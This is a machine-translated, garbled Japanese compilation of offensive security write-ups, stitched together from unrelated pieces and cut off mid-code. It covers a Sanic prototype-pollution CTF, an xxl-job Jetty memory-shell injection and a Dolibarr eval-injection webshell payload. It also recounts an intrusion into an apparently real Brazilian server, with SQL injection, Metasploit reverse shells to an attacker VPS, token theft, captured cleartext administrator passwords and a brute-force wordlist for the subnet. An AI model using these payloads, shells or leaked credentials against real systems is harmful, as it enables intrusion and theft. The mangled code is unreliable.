Async defインデックス(リクエスト):

return html(open( 'static/index.html')。read()))

@app.route( '/pollute'、methods=['get'、 'post']))

async def pollute(リクエスト):

key=request.json ['key']

value=request.json ['value']

キーと値とタイプ(key)がstrと「パーツ」がキーではなく、「proc」がstr(value)およびtype(value)がlist:ではない場合

汚染=汚染()

pydash.set_(汚染、キー、値)

テキストを返す(「成功」)

else:

log_dir=create_log_dir(6)

log_dir_bak=log_dir + '.'

log_file='/tmp/' + log_dir + '/access.log'

log_file_bak='/tmp/' + log_dir_bak + '/access.log.bak'

log='key:' + str(key) + '|' + 'value:' + str(value);

#ログファイルを生成します

os.system( 'mkdir /tmp /' + log_dir)

f:としてopen(log_file、 'w')

f.write(log)

#バックアップログファイル

os.system( 'mkdir /tmp /' + log_dir_bak)

f:としてopen(log_file_bak、 'w')

f.write(log)

RETURN TEXT( '!ここで無謀な行動はありません、あなたの違法な操作が記録されました!')

__name__=='__main __' :の場合

app.run(host='0.0.0.0')

ソースコード:を分析します

/汚染ルートは、パラメーターキーと値を渡すことでプロトタイプチェーン汚染を実現できる汚染点pydash.set_を提供します。さらに、このルートはWAFも設定します。 WAFがトリガーされた場合、キーと値の値は /TMPディレクトリのファイルに書き込まれます

名前が不明なルートもあります。内部には秘密があると推測できますか?

プロンプトによると、ここのソースコードが完全ではないことがわかるため、完全なソースコードを取得する必要があります

ここでのエントリポイントは、プロトタイプチェーン汚染です。 file_or_directoryをルートディレクトリに汚染すると、ファイルの読み取りを実現できます。

次に、ソースコードファイル名を取得し、アクセス/static/proc/1/cmdline:にアクセスする方法を見つけます

1049983-20241007092501905-1381800438.png

次に、/start.sh:にアクセスします

1049983-20241007092502596-882819269.png

ソースコード名:2q17a58t9f65y5i8.pyを取得します

/app/2q17a58t9f65y5i8.pyにアクセスして、完全なソースコード:を取得します

Sanic Import Sanicから

OSをインポートします

sanic.responseインポートテキスト、htmlから

sysをインポートします

ランダムをインポートします

pydashをインポートします

#pydash==5.1.2

#ソースコードは管理者によって削除されたようで、彼はそれに大きな秘密が隠されていると聞いた

クラスPollute:

def __init __(self):

合格

def create_log_dir(n):

ret=''

範囲(n):のiの場合

num=random.randint(0、9)

文字=chr(random.randint(97、122))

文字=chr(random.randint(65、90))

s=str(random.choice([num、letter、letter]))

ret +=s

Ret

app=sanic(__ name__)

app.static( '/static/'、 './static/')

@app.route( '/wa58a1qeq59857qqrppq')

async def Secret(リクエスト):

f:としてopen( '/h111int'、 'r')

ヒント=f.read()

テキストを返す(ヒント)

@app.route( '/'、methods=['get'、 'post']))

Async defインデックス(リクエスト):

return html(open( 'static/index.html')。read()))

@app.route( '/adminlook'、method=['get'])

async def adminlook(リクエスト):

#違法なログを見るためのエイジー管理者

log_dir=os.popen( 'ls /tmp -al')。read();

テキストを返す(log_dir)

@app.route( '/pollute'、methods=['get'、 'post']))

async def pollute(リクエスト):

key=request.json ['key']

value=request.json ['value']

キーと値とタイプ(key)がstrと「パーツ」がキーではなく、「proc」がstr(value)およびtype(value)がlist:ではない場合

汚染=汚染()

pydash.set_(汚染、キー、値)

テキストを返す(「成功」)

else:

log_dir=create_log_dir(6)

log_dir_bak=log_dir+'.'

log_file='/tmp/'+log_dir+'/access.log'

log_file_bak='/tmp/'+log_dir_bak+'/access.log.bak'

log='key:'+str(key)+'|'+'value:'+str(value);

#generate logファイル

os.system( 'mkdir /tmp /'+log_dir)

f:としてopen(log_file、 'w')

f.write(log)

#back up logファイル

os.system( 'mkdir /tmp /'+log_dir_bak)

f:としてopen(log_file_bak、 'w')

f.write(log)

RETURN TEXT( '!ここで無謀な行動はありません、あなたの違法な操作が記録されました!')

__name__=='__main __' :の場合

app.run(host='0.0.0.0')

余分なルート:WA58A1QEQ59857QQRPPQを見ることができ、ヒントを得るために直接アクセスしてください。

flag in /appですが、彼の名前を見つける必要があります!

アプリディレクトリでファイル名を表示する方法を見つける

ここでは、フラグファイルがアプリディレクトリにあることを促されますが、フラグ名はわかりません

次に、アプリディレクトリにファイルをリストする方法を見つける必要があることは明らかです

また、adminlookルートを表示することができ、 /TMPディレクトリにファイルを表示でき、違法ログはこのディレクトリに記録されています。最初に違法記録を一度トリガーしてから、adminlookルート:にアクセスします

1049983-20241007092503306-864833807.jpg

ここには2つのディレクトリがあり、そのうちの1つはバックアップディレクトリの名前であることがわかります。したがって、このディレクトリへのアクセスを使用して上部ディレクトリに移動できます。

{'key':' __ class __ \\\\\ .__ init __ \\\\\\ .__ Globals __ \\\\\\。app.router.name_index .__ mp_main __ \\\。static.handler.keywords TMPディレクトリ、そしてベース値:を汚染します

{'key':' __ class __ \\\\\ .__ init __ \\\\\\ .__ Globals __ \\\\\。app.router.name_index .__ mp_main __ \\\。static.handler.keyword static/ddahj6 '}

また、ディレクトリ関数:を有効にすることを忘れないでください

{'key':' __ class __ \\\\\\ .__ init __ \\\\\\ .__ Globals __ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\。

次に、にアクセスしてください

1049983-20241007092503888-2101886537.png

フラグ名を表示してから、 /app /45w698wqtsgqt1_flagにアクセスしてフラグを取得できます

タイトル:EasyJob

問題解決手順

添付ファイルによると、XXL-Job-Executorによるアクセスに対して不正である脆弱性であることが確認できます。次のリンクを参照してください。

https://github.com/threekiii/vulhub-reproduce/blob/master/xxl-job%20executor%20%E6%9c%AAA6%8E%88%E6%9D%83%E8%AEA%BF%E9%97%AE6A6%8歳8です

ただし、XXL-JOBバージョンは比較的古く、ヘシアンの脱派化によって引き起こされる必要があるバージョンであり、問題はインターネットから出ていないことがわかります。現時点では、メモリホースを打つことは避けられません。したがって、この質問の重要なポイントは、実際にWeb依存関係なしで桟橋の記憶馬を注入する方法です。

ハンドラーは次のようにxxljobに組み込まれています

//

//Intellijのアイデアによって.classファイルから再作成されたソースコード

//(fernflowerディセパイラーを搭載)

//

パッケージcom.xxl.job.core.rpc.netcom.jetty.server;

com.xxl.job.core.rpc.codec.rpcrequestをインポートします。

com.xxl.job.core.rpc.codec.rpcreSponseをインポートします。

com.xxl.job.core.rpc.netcom.netcomserverfactoryをインポートします。

com.xxl.job.core.rpc.serialize.hessianserializerをインポートします。

com.xxl.job.core.util.httpclientutilをインポートします。

java.io.ioexceptionをインポートします。

java.io.outputStreamをインポートします。

javax.servlet.servletexceptionをインポートします。

javax.servlet.http.httpservletrequestをインポートします。

javax.servlet.http.httpservletResponseをインポートします。

org.eclipse.jetty.server.requestをインポートします。

Import org.eclipse.jetty.server.handler.abstracthandler;

org.slf4j.loggerをインポートします。

org.slf4j.loggeractoryをインポートします。

Public Class JettyServerHandlerはAbstracthandlerを拡張します{

private static logger logger=loggerfactory.getLogger(jettyserverhandler.class);

public jettyserverhandler(){

}

public voidハンドル(String Target、Request Baserequest、httpservletRequestリクエスト、httpservletResponse応答)IoException、servletexception {

rpcreSponse rpcreSponse=this.doinvoke(request);

byte [] responsebytes=hessianserializer.serialize(rpcreSponse);

Response.setContentType( 'text/html; charset=utf-8');

Response.SetStatus(200);

baserequest.sethandled(true);

outputStream out=response.getOutputStream();

out.write(responsebytes);

out.flush();

}

private rpcreSponse doinvoke(httpservletrequestリクエスト){

rpcreSponse rpcreSponse;

試す {

byte [] requestbytes=httpclientutil.readbytes(request);

if(requestBytes!=null requestbytes.length!=0){

rpcrequest rpcrequest=(rpcrequest)hessianserializer.deserialize(requestbytes、rpcrequest.class);

rpcreSponse rpcreSponse=netcomserverfactory.invokeService(rpcrequest、(object)null);

RPCRESPONSEを返します。

} それ以外{

rpcreSponse=new rpcreSponse();

rpcreSponse.setError( 'rpcrequest byte [] is null');

RPCRESPONSEを返します。

}

} catch(例外var5){

logger.error(var5.getMessage()、var5);

rpcreSponse=new rpcreSponse();

rpcreSponse.setError( 'server-error:' + var5.getMessage());

RPCRESPONSEを返します。

}

}

}

Jettyhandler、私たちがする必要があるのは、まったく同じものを注入することだけです。ここに特定の詳細について何も言うことはありません、記憶は次のとおりです

パッケージcom.xxl.job.core;

org.eclipse.jetty.serverをインポート。*;

Import org.eclipse.jetty.server.handler.abstracthandler;

Import org.eclipse.jetty.server.handler.handlercollection;

sun.misc.unsafeをインポートします。

javax.crypto.cipherをインポートします。

javax.crypto.spec.secretkeyspecをインポートします。

javax.servlet.servletexceptionをインポートします。

javax.servlet.servletoutputStreamをインポートします。

javax.servlet.http.httpservletrequestをインポートします。

javax.servlet.http.httpservletResponseをインポートします。

java.io.ioexceptionをインポートします。

java.lang.ref.Referenceをインポートします。

java.lang.reflect.fieldをインポートします。

java.lang.reflt.methodをインポートします。

java.net.urlをインポートします。

java.net.urlclassloaderをインポートします。

Java.util.scannerをインポートします。

//著者:BOOGIPOP

パブリッククラスのjettygodzillamemshellはabstracthandlerを拡張します{

string xc='3c6e0b8a9c15224a'; //鍵

文字列pass='username';

文字列md5=md5(pass + xc);

クラスペイロード;

public static string md5(string s){

文字列ret=null;

試す {

java.security.messagedigest m;

m=java.security.messagedigest.getInstance( 'md5');

m.update(s.getbytes()、0、s.length());

ret=new java.math.biginteger(1、m.digest())。toString(16).touppercase();

} catch(例外e){

}

返品;

}

public jettygodzillamemshell(){

System.out.println(1);

}

public jettygodzillamemshell(int s){

System.out.println(2);

}

static {

試す {

httpconnection valuefield=getValueField();

HandLercollection Handler=(handLercollection)valuefield.gethttpchannel()。getServer()。gethandler();

フィールド変動whenrunning=handler.getClass()。getDeclaredField( '_ MutableWhenrunning');

MutableWhenrunning.setAcc

0x01はじめに

日付/時刻:2015年、この侵入テスト中に、取得されたいくつかのマシンの管理者パスワードには特定の規則性があることがわかりました。最後に、パスワードルールを分析し、新しいパスワードを組み合わせることにより、ターゲットのCセグメントマシン許可全体を正常に取得しました。個人的には、これはイントラネットのユニバーサル/通常のパスワードの良い実用的なケースであると感じているので、記録する方が良いと思いました。

0x02 GetShellプロセス

ウェブサイトの基本情報検出:

ターゲットサイト:http://www.that **** elos.com.br

サーバーIP:189。**。**。204(ブラジル)

環境プラットフォーム:ASP.NET

サーバーシステム:Windows Webサイトは国内のIPアクセスを禁止するため、テストを行うために壁にしか行けません。最初に、Chromeブラウザープラグインと指紋認識Webサイトを使用して、サーバーシステムの特定のバージョンを取得しません。ただし、私の個人的な経験に基づいて、これはWindows 2003でなければなりません。

Chromeブラウザプラグイン:サーバーの詳細1.0.12、Wappalyzer

サーバーシステムの識別:http://FUWUQIXITONGSHIBIE.51240.com/?q=

ウェブサイトのバックエンドアドレス:http://www.that **** elos.com.br/admin/safe3wvs_v10.1脆弱性スキャンツールを使用して、いくつかの注入を正常に見つけるためにSQLMapツールを使用して、この注入ポイントが存在し、管理者のテーブルとカラムを実行したときに報告されたときに報告されたときに報告されていることを確認しました。

1049983-20220124163456266-718947529.png

ランニングウォッチ名:

sqlmap -u 'http://ww.that **** elos.com.br/detalhe_produto.asp?codprod=510' - テーブル

[7テーブル]:カテゴリー、クライアント、デッカーク、リテン、ペディド、プロデュトス、ウサリオスランニングコラム名:

sqlmap -u 'http://ww.that **** elos.com.br/detalhe_produto.asp?codprod=510' -t 'usuarios' - columns

[5列]:Codusuario、電子メール、ログイン、ノーム、Senhaの実行データ:

sqlmap -u 'http://ww.that **** elos.com.br/detalhe_produto.asp?codprod=510' - dbmsアクセス-t 'usuarios' -C '電子メール、ログイン、ログイン、ログイン、ログイン、ログイン' - ダンプ-threads 10 1049983-20220124163456703-1812901126.png sqlmap runsのsqlmapがあるときに誤りがあります。管理者のテーブルと列が取得されているため、他のインジェクションツールを使用して、d、ming xiaozi、その他の注入ツールなど、管理者ユーザーパスワードを実行できます。柔軟に使用できます。

1049983-20220124163457129-266496015.png

この注入ポイントを通じて、Webサイト管理者のアカウントとパスワードを正常に取得し、Webサイトの背景にログインしてフィルタリングなしでアップロードを見つけ、ASPピクチャーホースを直接渡し、このサイトのWebシェル許可を正常に取得しました。

1049983-20220124163457547-262982800.png

0x03実用的な電力促進プロセス

サーバーの基本情報検出:

ポートオープン:21、80、135、443、445、873、65432

パッチステータス:750以上のシステムパッチが適用されました(Windows 2003 x86)

スクリプト検出:PHPまたはASPXではなく、ASPスクリプトファイルのみをサポートします

ディスク許可:Cディスク内の一部のフォルダーには読み取り可能/書き込み許可があります。彼らは長い間クロスサイトになることはできません。 750以上のパッチを備えた2003年のマシンに遭遇したのは初めてです。彼らは、EXPを使用してEXPを取得する確率が高くないことを知っていますが、それでも試してみる必要があります。たぶんそれは「成功する」でしょう。次の経験を試した後、最終結果が予想され、失敗しました。

Pr.exe、churrasco.exe、2003.exe、ndproxy.exe、iis6.exe、ms11-046.exe、ms10-048.exe、ms11-080.exe、ms13-051.exe、debug.exe .0104m9504特権エスカレーションモジュール。ターゲットは国内のIPアドレスへのアクセスを禁止するため、ターゲットマシンセッションは攻撃ペイロードファイルを実行した後に取得できないため、著者は外国のVPSでテストします。

root@c2unix:〜#msfpayload Windows/meterpreter/reverse_tcp lhost=37

MSF Exploit(ハンドラー)Payload Windows/MeterPreter/Reverse_TCPを設定します

MSF Exploit(ハンドラー)SET LHOST 37。*。**。52

MSFエクスプロイト(ハンドラー)セットLポート443

MSFエクスプロイト(ハンドラー)エクスプロイト

[*] 37。*。**。52:443でリバースハンドラーを開始しました

[*]ペイロードハンドラーを起動します.

[*]ステージ(770048バイト)を189に送信します。**。**。204

[*] MeterPreterセッション1は、2015-01-01 13:48336001 +0000 1049983-20220124163458461-2115845161.pngの現在のセッションの存在とシステムを拡大しようとしたシステムを拡大しようとした、2015-01-01 13:1048336001 +0000 1049983-20220124163458461-2115845161.pngにオープン(**。**。52:443-189。失敗して、現在のセッションをバックグラウンドに配置し、MS14_058_TRACK_POPUP_MENUのロードを続けて、テスト用の特権モジュールを増やします。

MeterPreter GetUid

Server Username: $ U $ autoridade nt \ servio local-0x415554f524944444445204e545c5345525649c74f204c4f43414c

MeterPreter GetSystem

[ - ] priv_elevate_getsystem:操作失敗:アクセスは拒否されます。

メータープレターsysinfo

コンピューター: Web200

OS : Windows .Netサーバー(ビルド3790、サービスパック2)。

アーキテクチャ: x86

システム言語: PT_BR

MeterPreter : x86/win32

メータープレターの背景

[*]バックグラウンドセッション1 . MSFエクスプロイト(ハンドラー)Exploit/Windows/Local/MS14_058_TRACK_POPUP_MENUを使用します

MSF Exploit(MS14_058_TRACK_POPUP_MENU)PAYLOAD WINDOWS/METERPRETER/REVERSE_TCPを設定します

MSF Exploit(MS14_058_TRACK_POPUP_MENU)SET LHOST 37。*。**。52

MSF Exploit(MS14_058_TRACK_POPUP_MENU)SET LPORT 443

MSF Exploit(MS14_058_TRACK_POPUP_MENU)セッション1を設定します

MSF Exploit(MS14_058_TRACK_POPUP_MENU)Exploit

[*] 37。*。**。52:443でリバースハンドラーを開始しました

[*]エクスプロイトをホストするためのメモ帳を起動します.

[+]プロセス11464が起動しました。

[*]エクスプロイトDLLを11464に反射的に注入します.

[*] 11464にエクスプロイトを注入.

[*]噴射されたエクスプロイト。ペイロードを11464に注入します.

[*]挿入されたペイロード。エクスプロイトの実行.

[+] Exploitが終了し、(できれば特権のある)ペイロードの実行が完了するのを待ちます。

[*]ステージ(770048バイト)を189に送信します。**。**。204

[*] MeterPreterセッション2がオープン(37。*。**。52:443-189。モジュールは新しいMeterPreterセッションを取得しますが、それでも通常のアクセス許可です。この状況は、以前の実際のケースで何度も遭遇しました。特定の理由は不明であり、私はそれを深く研究していません。

MeterPreter GetUid

Server Username: $ U $ autoridade nt \ servio local-0x415554f524944444445204e545c5345525649c74f204c4f43414c

MeterPreter GetSystem

[ - ] priv_elevate_getsystem:操作失敗:アクセスは拒否されます。

MeterPreter Hashdump

[ - ] priv_passwd_get_sam_hashes:操作失敗著者は深い思考に陥りました.そして突然、MeterPreterの下でシークレットの拡張があると思いました。

まず、このサーバーのいくつかの管理者ユーザーを見てみましょう。これは、後で管理者トークンを見つけるのに便利です。デフォルトの管理者に加えて、Cronjobもあることがわかります。

1049983-20220124163459324-1557999675.png

list_tokens -u利用可能なユーザートークンをリストします。ここにリストされている利用可能なユーザートークンが多すぎます。著者は. Snip .部品を省くために使用しました。利用可能なユーザートークンにCronjob管理者トークンがあることがわかります。

利用可能なユーザートークンをリストします:

MeterPreterはIncognitoを使用します

拡張機能のロードインコグニト.成功。

meterpreter list_tokens -u

[ - ] Warning:現在システムとして実行されていない、すべてのトークンが利用可能になるわけではありません

プライマリプロセストークンがシステムである場合、Rev2Selfを呼び出します

委任トークンが利用可能

===============================================================

autoridade nt \ servi?oローカル

web200 \ aewcorp

web200 \ attcorreia

web200 \ cronjob

web200 \ sueddesigner

.切り分け.

なりすましトークンが利用可能です

===============================================================

web200 \ aluggo

web200 \ ciacompropaganda

Web200 \ Datahome

web200 \ ipirangacontabil

web200 \ web200

.スニップ.偽のcronjobユーザートークン:

MeterPreter Imprionate_Token web200 \\ cronjob

[ - ] Warning:現在システムとして実行されていない、すべてのトークンが利用可能になるわけではありません

プライマリプロセストークンがシステムである場合、Rev2Selfを呼び出します

[+]代表団が利用可能

[+]ユーザーWeb200 \ Cronjobに成功しました

MeterPreter GetUid

Server Username: web200 \ estoquedomarmorista

MeterPreter Hashdump

. Snip .1049983-20220124163459832-1326722851.png現在のマシンIPアドレスは:189。**。**。204、リモートポート番号:65432、コンピューター名:web200、ターゲットシステムのクリアテキストパスワード、メータープレターの下でキャプチャされたMimikatzフレンチアーティファクトは次のとおりであり、管理者のハスパスワードはクラックできません(=16ビット)。

0; 980627246 NTLM Web200 Administrador W3B200R0X0271114

0; 3450401626 ntlm web200 cronjob 016b2023ee9b897ca643

0; 1214252650 ntlm web200 web200 p1cadasgalaxi4s

0; 1236893630 ntlm web200 thatycabelos vbs147369

0; 74485534 ntlm web200 iis_user 123abc!#いくつかの一般的な脆弱性を使用して、189のWebシェル許可を取得しました。**。**。**。**。**。**。**。

など:一部のフォルダー権限、CMD.exe実行コマンドのアップロード、サーバーシステムのホスト名、一部のコマンドアクセス許可は不十分で、同じリモートポート番号など。

次の図に示すように、自分でアップロードしたExpを実行できないだけで、0x2331エラーがプロンプトされます。ただし、サーバーが再起動している限り、EXPを正常に実行できるか、アップロードされたExpサフィックスをTXTに変更しようとすることもできます。

1049983-20220124163500206-114772152.jpg

0x04パスワード/ドメイン名ルール

いくつかのマシンで得られた情報と個人的な経験に基づいて、基本的にこのCセグメントのすべてのマシンが同じ管理者であると判断することが可能です。したがって、管理者が使用するパスワードは定期的に見つける必要があります。次に、パスワードのルールを一緒に分析しましょう。

(1)パスワードルール分析

いくつかのマシンで一般的に使用される管理者ユーザーには、Administrador、Cronjobが含まれます。 189。**。**。パスワードルールは、主にホスト名の3桁の数字に関連しており、IPアドレスとは何の関係もありません。

W3B=固定値、200=コンピューター名(3桁)、R0X0271114=固定値WPSテーブル関数を使用してホスト名3桁を抽出し、右(H2,3)を抽出し、新しいパスワードを組み合わせ、最後にB2C2D2を組み合わせ、最後に2つのマシンの管理者パスワードを組み合わせます。 下に。

1049983-20220124163500598-1251726121.jpg

現在、それは制御されたマシンを通してのみ知られることができます。セグメントCで他のマシンのWebShell許可を取得しない場合、どのようにしてホスト名を取得できますか?または、セクションCに他のサーバーを直接入力する方法はありますか?もちろん、ここでは1つのアイデアしか提供されていません。

アイデアを爆破する:

デフォルトのRDPポートは3389で、取得したいくつかのマシンのRDPポートは65432です。このセグメント189のすべてのIPSにあるパスワードに基づいて効率的な辞書を生成できます。

W3B200R0X0271114

W3B201R0X0271114

W3B202R0X0271114

W3B203R0X0271114

W3B204R0X0271114

W3B205R0X0271114

W3B206R0X0271114

W3B207R0X0271114

W3B208R0X0271114

W3B209R0X0271114

W3B210R0X0271114

. Snip .

(2)ドメイン名ルール分析

テストで「hostname.test.net」のようなサブドメインが何度も見られました。いくつかにアクセスした後、私は自分のアイデアを確認しました。管理者は各サーバーでそのようなサブドメインを解決し、命名ルールはhostname.test.netです。

ドメイン名のルールを知った後、ウェブシェルを保存してホスト名を直接取得できます。最後に、パスワードを組み合わせてセクションCに他のマシンを入力できます。 10ユニット以上をテストした後、問題ありません。

1049983-20220124163501009-112638232.jpg 1049983-20220124163501785-1132710182.jpg

画像メタファー:

セクションCのすべてのマシン=パスワードルール +ホスト名+ドメイン名ルール、パスワードルール=父親、hostName=son、ドメイン名ルール=母親、父親、母親はどちらも息子が必要です。一緒に暮らすことは完全な家族と見なされることがあり、どちらも欠落していません。

アイデアの拡張:

ドメイン名のルールに従って効率的な「ホストname.test.net」サブドメイン辞書を生成し、ホスト名を300に制御します。次に、スクリプトを介してこれらのサブドメインをバッチにバッチで、IPアドレスとCセグメントの生存マシンの対応するホスト名を取得し、パスワードルールに従って新しいパスワードを組み合わせます。

web200.test.net

web201.test.net

web202.test.net

web203.test.net

web204.test.net

web205.test.net

web206.test.net

web207.test.net

web208.test.net

web209.test.net

web210.test.net

. snip . WPSテーブル関数を使用して新しいパスワードを組み合わせて、=B2(右(左(E2,6)、3)D2)を組み合わせて、最後に図に示すように、パスワードルールを使用してセグメントCのすべての生き残ったマシンの管理者パスワードを組み合わせることができます。

1049983-20220124163502288-1467670003.jpg

0x05要約

内部/ドメイン環境では、一般的/通常のパスワードに遭遇することがよくあります。一般的に、ホスト名、IPアドレス、年および一般的な文字123/QWE/!@#などをルールとして使用します。また、Webサイトの背景、ミドルウェア、データベース、サードパーティソフトウェアなど、さまざまなパスワードの一般的なポイントとルールを分析し、ブラスト用の効率的な辞書を組み合わせて生成することもできます。 @江天から文を借りる:侵入の本質は情報収集です。

1.ターゲットシステムに関する情報を収集します。ここでは、システムはオンラインCMSフィンガープリントを介してWindows 2003 IIS6.0です。 Webサイト管理者のバックグラウンドディレクトリは、Yujianディレクトリスキャンツールを介してAdmin2であることがわかります。ユーザー名とパスワードスキャンツールが正常に見つかりました。 Safe3WVS_V10.1の脆弱性スキャンツールを使用していくつかの注入が見つかり、SQLMAPツールを使用してこの注入ポイントが存在し、管理者のテーブルと列が使い果たされていることを確認しましたが、ユーザー名とパスワードを使い果たすことはできません。SQLMAP-U

0x01脆弱性はじめに

dolibarr erp crm=15.0.3は、評価注入に対して脆弱です。デフォルトでは、任意の管理者をdolibarrのインストールページに追加でき、正常に追加された場合、悪意のあるコードをデータベースに挿入してから、評価によって実行できます。

CVE番号:CVE-2022-2633

脆弱性の説明:dolibarr edit.phpには、リモートコマンド実行の脆弱性があります。攻撃者が論理的な脆弱性を通じて管理者を作成した後、バックグラウンドの脆弱性を介してサーバーの権限を取得できます。

影響を受けるバージョン:=15.0.3

0x02脆弱性分析

1.環境構造

ソースコードダウンロードアドレス:3https://github.com/dolibarr/dolibarr/archive/refs/tags/15.0.3.zip

それをWebディレクトリに解凍して直接アクセスする〜/htdocs/

image-20221112215135292

次に、インストールするようにconf/conf.phpを構成します

2。管理者ユーザーを登録

これは実際には論理的な脆弱性です。システムをインストールした後、ロックしませんが、ユーザーがドキュメントディレクトリに手動で追加する必要があるため、管理者アカウントを追加するためにいつでも入力できます。

たとえば、ここにAAAユーザーを追加します

image-20221112224440198

背景を正常に入力できます

image-20221112224514801

3.BackEnd RCE

バックグラウンドRCEの最後のポイントは、htdocs/core/lib/functions.lib.phpのdol_eval()関数にあります

しかし、ここにはWAFがあり、危険な機能のほとんどは禁止されています

//PHP execまたはPHPファイル機能の使用をブロックします

$ forbiddenphpstrings=array( '$$');

$ FORBIDDENPHPSTRINGS=ARRAY_MERGE($ FORBIDDENPHPSTRINGS、ARRAY( '_ env'、 '_Session'、 '_cookie'、 '_get'、 '_post'、 '_request'));

$ forbiddenphpfunctions=array( 'exec'、 'passthru'、 'shell_exec'、 'system'、 'proc_open'、 'popen'、 'eval'、 'dol_eval'、 'executecli');

$forbiddenphpfunctions=array_merge($forbiddenphpfunctions, array('fopen', 'file_put_contents', 'fputs', 'fputscsv', 'fwrite', 'fpassthru', 'require', 'include', 'mkdir', 'rmdir', 'symlink', 'touch', 'unlink', 'umask'));

$ forbiddenphpfunctions=array_merge($ forbiddenphpfunctions、array( 'function'、 'call_user_func'));

$ forbiddenphpregex='global \ s+\ $ | \ b('。prode( '|'、$ forbiddenphpfunctions)。 ')\ b';

する {

$ oldstringtoclean=$ s;

$ s=str_ireplace($ forbiddenphpstrings、 '__forbiddenstring__'、$ s);

$ s=preg_replace( '/'.forbiddenphpregex。'/i '、' __forbiddenstring__ '、$ s);

//$ s=preg_replace( '/\ $ [a-za-z0-9 _ \ - \ $]+\(/i'、 ''、$ s); //削除$ function(call and $ mycall-mythod(

} while($ oldstringtoclean!=$ s);

if(strpos($ s、 '__forbiddenstring__')!==false){

dol_syslog( 'bad string syntax to Evaluate3:'。$ s、log_warning);

if($ returnValue){

'bad string構文を返して、'を評価します。$ s;

} それ以外{

dol_syslog( 'bad string syntax to Evaluate:'。$ s);

戻る '';

}

}

//$ s.'br \ n 'を印刷します。

if($ returnValue){

if($ hiderrors){

return @eval( 'return'。$ s。 ';');

} それ以外{

return eval( 'return'。$ s。 ';');

}

} それ以外{

if($ hiderrors){

@eval($ s);

} それ以外{

eval($ s);

}

}

ここでは、dol_eval()の呼び出しを探し、上記のverifcond()が呼び出されます

そして、ここにスプライシングがあり、これについては後で説明します。

関数verifcond($ stroevaluate)

{

グローバル$ユーザー、$ conf、$ langs;

グローバル$ leftmenu;

グローバル$ rights; //dol_eval関数にエクスポートします

//$ strtoevaluate.'br \ n ';

$ rights=true;

if(ISSET($ sttoevaluate)$ stroevaluate!==''){

$ str='if(!('。$ sttoevaluate。 '))$ rights=false;';

dol_eval($ str、0、1、 '2');

}

$ rightsを返します。

}

次に、Verifcond関数のグローバルパラメーター制御可能な呼び出しを探します。 menubase.class.phpのmenuload()関数にポイントがあります。

image-20221112232201159

Verifcondコードは制御可能ですが、データベースのクエリ結果から取得されることがわかります。

パームと有効化に注意してください。どちらもVerifcondに直接入力できます

$ resql=$ this-db-query($ sql);

if($ resql){

$ numa=$ this-db-num_rows($ resql);

$ a=0;

$ b=0;

while($ a $ numa){

//$ objm=$ this-db-fetch_object($ resql);

$ menu=$ this-db-fetch_array($ resql);

//$右を定義します

$ perms=true;

if(isset($ menu ['perms'])){

$ tmpcond=$ menu ['perms'];

if($ leftmenu=='all'){

$ tmpcond=preg_replace( '/\ $ leftmenu \ s*==\ s*[' \ 'a-za-z _]+/'、 '1==1'、$ tmpcond); //条件の部分を真に強制します

}

$ perms=verifcond($ tmpcond);

//'verifcond rowid='。$ menu ['rowid']。 'を印刷します。 '。$ tmpcond.':'。$ perms.'br \ n ';

}

//$ enabledを定義します

$ enabled=true;

if(isset($ menu ['enabled'])){

$ tmpcond=$ menu ['enabled'];

if($ leftmenu=='all'){

$ tmpcond=preg_replace( '/\ $ leftmenu \ s*==\ s*[' \ 'a-za-z _]+/'、 '1==1'、$ tmpcond); //条件の部分を真に強制します

}

$ enabled=verifcond($ tmpcond);

}

ここで実行されているSQLステートメントを見るために正面に行きましょう。 「.main_db_prefix」のデータを照会しています。メニューテーブルですが、条件付きステートメントがあります

(0、 '。$ conf-entity。')のm.entity

m.menu_handler in( ''。$ this-db-escape($ menu_handler)。 ''、 'all')

したがって、「.main_db_prefix」に挿入ステートメントを見つけることができる場合。メニューでは、パームを制御し、フィールドとエンティティとmenu_handlerを有効にして、条件を満たすことができます。エンティティは$ conf-entityから来ていることに注意してください

$ sql='Select M.Rowid、M.Type、M.Module、M.FK_Menu、M.FK_Mainmenu、M.FK_LeftMenu、M.Url、M.Titre、M.Prefix、M.Langs、M.Perms、M.Enabled、M.Target、M.Mainmenu、M.Leftmenu、M.Leftmenu、M.Position';

$ sql。='from' .main_db_prefix.'menu as m ';

$ sql。='ここで、m.entity in(0、'。$ conf-entity。 ')';

$ sql。='およびm.menu_handler in(' '。$ this-db-escape($ menu_handler)。' '、' all ')';

if($ type_user==0){

$ sql。='およびm.usertype in(0,2)';

}

if($ type_user==1){

$ sql。='およびm.usertype in(1,2)';

}

$ sql。='M.Position、M.Rowid'による注文;

ここでは、定期的な検索を検索してください。実際、同じファイルにcreate()関数、そのような点があります。

image-20221113000249851

次に、パラメーターが制御可能かどうかを確認する必要があります。ここの値はメンバー属性として設定されますが、エンティティは$ conf-entityであり、上記のSQLクエリもこれであるため、条件を直接満たします。

image-20221113001946769

次に、menuload関数を実行するときにmenu_handlerが自動的に入力されることがわかりました。

image-20221113002330295

したがって、両方の条件が解決された場所。残りは、パーマとイネーブルが制御されているかどうかを確認することです。クラス内のメンバー変数を割り当てる場所はないため、グローバルに検索する必要があります。

メニュー/edit.phpでパーマとイネーブルを直接制御できることがわかります

image-20221113002856865

デバッグ後、MenuIDは一意である必要があることがわかりました。そうしないと、競合し、データベースに書き込むことができません。ここでのタイプは1に設定する必要があります。そうしないと、エラーが報告されます。

1049983-20221114122937786-1858356172.png

次に、WAFをバイパスしてevalを実行する方法を研究します。ここで、著者のアプローチは、PHP:変数関数の特性を使用することです

//file_put_contents

$ a=base64_decode( 'zmlszv9wdxrfy29udgvudhm=');

//shellcode

$ a( '。1234.php'、base64_decode( 'pd9wahagcghwaw5mbygpoz8+cg=='));

Verifcond関数を見る

これが文字列のスプライシングです。 evalが実行されているため、ブラケットを閉じて次のコードをコメントすることができます。

関数verifcond($ stroevaluate)

{

グローバル$ユーザー、$ conf、$ langs;

グローバル$ leftmenu;

グローバル$ rights; //dol_eval関数にエクスポートします

//$ strtoevaluate.'br \ n ';

$ rights=true;

if(ISSET($ sttoevaluate)$ stroevaluate!==''){

$ str='if(!('。$ sttoevaluate。 '))$ rights=false;';

dol_eval($ str、0、1、 '2');

}

$ rightsを返します。

}

これはそのようなペイロードです(無害なペイロード

1==1)

次に、有効なパラメーターを配置してデータベースに保存すると、最終的にパッケージは次のとおりです。

image-20221113004416906

